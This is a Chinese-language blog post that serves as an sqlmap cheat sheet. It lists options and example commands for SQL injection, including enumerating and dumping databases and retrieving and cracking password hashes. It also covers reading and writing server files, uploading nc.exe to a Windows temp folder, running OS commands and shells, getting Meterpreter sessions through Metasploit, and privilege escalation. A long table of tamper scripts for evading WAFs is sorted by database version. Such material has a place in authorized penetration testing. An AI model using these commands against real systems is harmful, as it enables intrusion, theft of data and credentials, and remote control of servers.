SQLMAP速查表

罪人们总是不在意为了邪恶的欲望把痛苦加在别人的身上,却在自己面临刑罚的时候恐惧和哀求。

使用经验总结

在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,通过-D-T-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。 –exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。
当我们不想跑路的时候,那么请使用下面内容:

–start=LIMITSTART  First query output entry to retrieve指定从第几行开始输出,如:
–start=1     
–stop=LIMITSTOP    
Last query output entry to retrieve
指定从第几行停止输出
–stop=10 
–first=FIRSTCHAR   
First query output word character to retrieve
指定从第几个字符开始输出
–first 1     
–last=LASTCHAR
Last query output word character to retrieve
指定从第几个字符停止输出–last10

对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。针对文件系统的读写:对–file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过–file-dest指定绝对文件路径。” 当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程 –os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:

1.通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:–os-pwn。 
2.通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:–os-pwn。
3.通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。
4.通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:–os-bof。

当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

sqlmap.py -u ” http://127.0.0.1/get_int.php?id=1 ” –passwords

使用技巧

基础检测语法

sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 024  

批量检测

“sqlmap.py -m target.txt”

注意target.txt跟sqlmap在同一个目录下。

获取表中的数据个数

sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb  

站点爬取

sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3  

使用hex避免字符编码导致数据丢失

sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors  

模拟测试手机环境站点

python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile  

智能判断测试

sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart 

结合burpsuite进行注入

sqlmap.py -r burpsuite 抓包.txt  

sqlmap 自动填写表单注入

sqlmap.py -u URL –forms

执行shell命令

sqlmap.py -u “url” –os-cmd=”netuser” /*执行net user命令*/ sqlmap.py -u “url” –os-shell /*系统交互的shell*/  

延时注入

sqlmap –dbs -u”url” –delay 0.5 /* 延时0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 请求2次*/  

实用技巧

这些选项可用于调整具体的SQL注入测试

–technique=TECH    SQL注入技术测试(默认BEUST)

–time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)

–union-cols=UCOLS  定列范围用于测试UNION查询注入

–union-char=UCHAR  暴力猜测列的字符数

–union-from=UFROM  SQL注入UNION查询使用的格式

–dns-domain=DNS..  DNS泄露攻击使用的域名

–second-order=S..  URL搜索产生的结果页面

枚举信息

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

-a, –all           获取所有信息

-b, –banner        获取数据库管理系统的标识

–current-user      获取数据库管理系统当前用户

–current-db        获取数据库管理系统当前数据库

 –hostname         获取数据库服务器的主机名称

–is-dba            检测DBMS当前用户是否DBA

–users             枚举数据库管理系统用户

–passwords         枚举数据库管理系统用户密码哈希

–privileges        枚举数据库管理系统用户的权限

–roles            枚举数据库管理系统用户的角色

–dbs             枚举数据库管理系统数据库

–tables            枚举的DBMS数据库中的表

–columns          枚举DBMS数据库表列

–schema            枚举数据库架构

–count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url –count -D testdb

–dump            转储数据库表项

 –dump-all          转储数据库所有表项

–search           搜索列(S),表(S)和/或数据库名称(S)

–comments          获取DBMS注释

-D DB               要进行枚举的指定数据库名

-T TBL              DBMS数据库表枚举

-C COL             DBMS数据库表列枚举

-X EXCLUDECOL     DBMS数据库表不进行枚举

-U USER           用来进行枚举的数据库用户

–exclude-sysdbs    枚举表时排除系统数据库

–pivot-column=P..  Pivot columnname

–where=DUMPWHERE   Use WHEREcondition while table dumping

–start=LIMITSTART  获取第一个查询输出数据位置

–stop=LIMITSTOP   获取最后查询的输出数据

–first=FIRSTCHAR   第一个查询输出字的字符获取

–last=LASTCHAR    最后查询的输出字字符获取

–sql-query=QUERY   要执行的SQL语句

–sql-shell         提示交互式SQL的shell

–sql-file=SQLFILE  要执行的SQL文件

访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

   –file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:

sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1

   –file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件

   –file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径

在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1

操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

–os-cmd=OSCMD   执行操作系统命令(OSCMD)

–os-shell          交互式的操作系统的shell

–os-pwn          获取一个OOB shell,meterpreter或VNC

–os-smbrelay       一键获取一个OOBshell,meterpreter或VNC

–os-bof           存储过程缓冲区溢出利用

–priv-esc          数据库进程用户权限提升

–msf-path=MSFPATH  MetasploitFramework本地的安装路径

–tmp-path=TMPPATH  远程临时文件目录的绝对路径

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表

–reg-read          读一个Windows注册表项值

–reg-add           写一个Windows注册表项值数据

–reg-del           删除Windows注册表键值

–reg-key=REGKEY    Windows注册表键

–reg-value=REGVAL  Windows注册表项值

–reg-data=REGDATA  Windows注册表键值数据

–reg-type=REGTYPE  Windows注册表项值类型

Tamper功能

序号    脚本名称    注释
1    0x2char    将每个编码后的字符转换为等价表达
2    apostrophemask    单引号替换为Utf8字符
3    apostrophenullencode    替换双引号为%00%27
4    appendnullbyte    有效代码后添加%00
5    base64encode    使用base64编码
6    between    比较符替换为between
7    bluecoat    空格替换为随机空白字符,等号替换为like
8    chardoubleencode    双url编码
9    charencode    将url编码
10    charunicodeencode    使用unicode编码
11    charunicodeescape    以指定的payload反向编码未编码的字符
12    commalesslimit    改变limit语句的写法
13    commalessmid    改变mid语句的写法
14    commentbeforeparentheses    在括号前加内联注释
15    concat2concatws    替换CONCAT为CONCAT_WS
16    equaltolike    等号替换为like
17    escapequotes    双引号替换为\\\\
18    greatest    大于号替换为greatest
19    halfversionedmorekeywords    在每个关键字前加注释
20    htmlencode    html编码所有非字母和数字的字符
21    ifnull2casewhenisnull    改变ifnull语句的写法
22    ifnull2ifisnull    替换ifnull为if(isnull(A))
23    informationschemacomment    标示符后添加注释
24    least    替换大于号为least
25    lowercase    全部替换为小写值
26    modsecurityversioned    空格替换为查询版本的注释
27    modsecurityzeroversioned    添加完整的查询版本的注释
28    multiplespaces    添加多个空格
29    nonrecursivereplacement    替换预定义的关键字
30    overlongutf8    将所有字符转义为utf8
31    overlongutf8more    以指定的payload转换所有字符
32    percentage    每个字符前添加%
33    plus2concat    将加号替换为concat函数
34    plus2fnconcat    将加号替换为ODBC函数{fn CONCAT()}
35    randomcase    字符大小写随机替换
36    randomcomments    /**/分割关键字
37    securesphere    添加某字符串
38    sp_password    追加sp_password字符串
39    space2comment    空格替换为/**/
40    space2dash    空格替换为–加随机字符
41    space2hash    空格替换为#加随机字符
42    space2morecomment    空格替换为/**_**/
43    space2morehash    空格替换为#加随机字符及换行符
44    space2mssqlblank    空格替换为其他空符号
45    space2mssqlhash    空格替换为%23%0A
46    space2mysqlblank    空格替换为其他空白符号
47    space2mysqldash    空格替换为–%0A
48    space2plus    空格替换为加号
49    space2randomblank    空格替换为备选字符集中的随机字符
50    symboliclogical    AND和OR替换为&&和||
51    unionalltounion    union all select替换为union select
52    unmagicquotes    宽字符绕过GPC
53    uppercase    全部替换为大写值
54    varnish    添加HTTP头
55    versionedkeywords    用注释封装每个非函数的关键字
56    versionedmorekeywords    使用注释绕过
57    xforwardedfor    添加伪造的HTTP头

MYSQL常用Tamper

版本    可用tamper编号    脚本名称
4/5.0/5.5    1    0x2char
6    between
9    charencode
16    concat2concatws
18    greatest
24    least
25    lowercase
35    randomcase
39    space2comment
49    space2randomblank
53    uppercase
5.1    7    bluecoat
46    space2mysqlblank
5.0/5.5    12    commalesslimit
13    commalessmid
21    ifnull2casewhenisnull
22    ifnull2ifisnull
42    space2morecomment
5.0    15    concat2concatws
26    modsecurityversioned
27    modsecurityzeroversioned
4.0/5.0    41    space2hash
5.1.56    10    charunicodeencode
5.1.56/5.5.11    32    percentage
56    versionedmorekeywords
4.0.18/5.0.22    19    halfversionedmorekeywords
4.0.18/5.1.56/5.5.11    55    versionedkeywords
5.1.41    43    space2morehash
未指定版本    14    commentbeforeparentheses
40    space2dash
45    space2mssqlhash
47    space2mysqldash

SQLServer常用Tamper

版本    可用tamper编号    脚本名称
2005/2000    10    charunicodeencode
32    percentage
44    space2mssqlblank
2005    6    between
9    charencode
16    equaltolike
25    lowercase
35    randomcase
39    space2comment
49    space2randomblank
53    uppercase
2002+    33    plus2concat
2008+    34    plus2fnconcat
未指定    14    commentbeforeparentheses

ACCESS常用Tamper

版本    可用tamper编号    脚本名称
未指定    4    appendnullbyte

Oracle常用Tamper

版本    可用tamper编号    脚本名称
10g    6    between
9    charencode
14    commentbeforeparentheses
18    greatest
24    least
25    lowercase
35    randomcase
39    space2comment
49    space2randomblank
53    uppercase

PostgreSQL常用Tamper

版本    可用tamper编号    脚本名称
8.3/8.4/9.0    6    between
9    charencode
18    greatest
24    least
25    lowercase
39    space2comment
49    space2randomblank
53    uppercase
9.0    32    percentage
9.0.3    10    charunicodeencode
未指定    14    commentbeforeparentheses
35    randomcase

SQLite常用Tamper

版本    可用tamper编号    脚本名称
未指定    40    space2dash

未知适用范围常用Tamper

若以上脚本未解决问题,可尝试使用一下脚本。

版本    可用tamper编号    脚本名称
     2    apostrophemask
3    apostrophenullencode
5    base64encode
8    chardoubleencode
11    charunicodeescape
17    escapequotes
20    htmlencode
23    informationschemacomment
28    multiplespaces
29    nonrecursivereplacement
30    overlongutf8
31    overlongutf8more
36    randomcomments
37    securesphere
48    space2plus
50    symboliclogical
51    unionalltounion
52    unmagicquotes
54    varnish
57    xforwardedfor

优化功能

这些选项可用于优化sqlmap性能

-o               打开所有的优化开关

–predict-output    预测普通查询输出

–keep-alive        使用持久HTTP(S)连接

–null-connection   获取页面长度

–threads=THREADS   当前http(s)最大请求数 (默认 1)

指定注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

-p TESTPARAMETER    可测试的参数

–skip=SKIP         跳过对给定参数的测试

–skip-static       跳过测试不显示为动态的参数

–param-exclude=..  使用正则表达式排除参数进行测试(e.g. “ses”)

–dbms=DBMS         强制后端的DBMS为此值

–dbms-cred=DBMS..  DBMS认证凭证(user:password)

–os=OS            强制后端的DBMS操作系统为这个值

–invalid-bignum    使用大数字使值无效

–invalid-logical   使用逻辑操作使值无效

–invalid-string    使用随机字符串使值无效

–no-cast          关闭有效载荷铸造机制

–no-escape         关闭字符串逃逸机制

–prefix=PREFIX     注入payload字符串前缀

–suffix=SUFFIX     注入payload字符串后缀

–tamper=TAMPER   使用给定的脚本篡改注入数据

小坑

在批量扫验证的时候,发现不同版本号扫描的结果不一样,1.2.11.6版本可以扫出来数据,但是1.3.4版本就没办法,在网上有师傅指出问题出在:

经过分析,两坑如下:
(1)v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
(2)v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。

转载地址

URL

URL2

坚持原创技术分享,您的支持将鼓励我继续创作!
------ 本文结束 ------

版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%